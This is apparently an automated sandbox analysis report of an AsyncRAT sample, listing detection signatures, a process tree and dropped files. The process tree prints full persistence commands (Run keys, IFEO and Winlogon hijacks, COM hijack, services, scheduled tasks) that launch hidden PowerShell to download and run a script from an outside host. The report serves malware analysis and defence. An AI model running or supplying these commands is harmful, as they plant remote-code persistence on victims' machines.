Analysis

  • user interaction
    yes
  • max time kernel
    900s
  • max time network
    901s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    12/10/2026, 16:11

General

  • Target
    may thang report ngu.exe
  • Size 90KB
  • Sample261012-tnftrsty4p
  • SHA256 5c2cd0a4ce8a21673021969649a1b597ed8264251cc6c22c0208f5b00bbc6d86
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://tg88.surf/malware/load.ps1

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • Default

Mutex
  • 1O0tkbihPOqN

Attributes
  • delay

    3

  • install

    false

  • install_file

    Top1Server.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 9 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Meterpreter User-Agent 24 IoCs

    Uses user-agent string related to Meterpreter framework.

  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies registry class 11 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\may thang report ngu.exe
    "C:\Users\Admin\AppData\Local\Temp\may thang report ngu.exe"
    1⤵
    • Checks computer location settings
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:756
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2228
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        PID:4984
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3168
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        PID:3504
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2596
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        • System Location Discovery: System Language Discovery
        PID:692
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3904
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        • System Location Discovery: System Language Discovery
        PID:4940
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\malware.dll" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2496
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\malware.dll" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        PID:4648
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4980
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        • System Location Discovery: System Language Discovery
        PID:1332
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SYSTEM\CurrentControlSet\Services\MalwareService" /v ImagePath /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2464
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\MalwareService" /v ImagePath /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
        3⤵
        • Sets service image path in registry
        • System Location Discovery: System Language Discovery
        PID:1416
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /sc onlogon /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3284
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /sc onlogon /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1476
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3864
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /sc minute /mo 5 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:876
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4464
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3828
  • C:\Windows\explorer.exe
    explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')"
    1⤵
      PID:3160
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of SetWindowsHookEx
      PID:548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://tg88.surf/malware/load.ps1")"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2064
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://tg88.surf/malware/load.ps1")"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://tg88.surf/malware/load.ps1")"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:448

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.EXE.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
          • Size 2KB
          • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 75b5039d4970b2d7e487a0158c5b781de48a4f99e594018603ae6189689a32b6
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 5ff5b712af5968f82aefbfcbc3251d52a3b65a7895eeea3f6c14e40252ff8743
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 9fcb62333faf9fae34f4e882c6af4065a233063fbdf9a550ac849d650573463c
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_ne2hwqwn.ddk.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ne2hwqwn.ddk.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/756-0-0x00000000000F0000-0x000000000010C000-memory.dmp

          memory/756-1-0x0000000004AD0000-0x0000000004AE0000-memory.dmp

          memory/756-21-0x0000000004AD0000-0x0000000004AE0000-memory.dmp

          memory/3828-17-0x000001CD37400000-0x000001CD37444000-memory.dmp

          memory/3828-18-0x000001CD374D0000-0x000001CD37546000-memory.dmp

          memory/4464-3-0x0000022571860000-0x0000022571882000-memory.dmp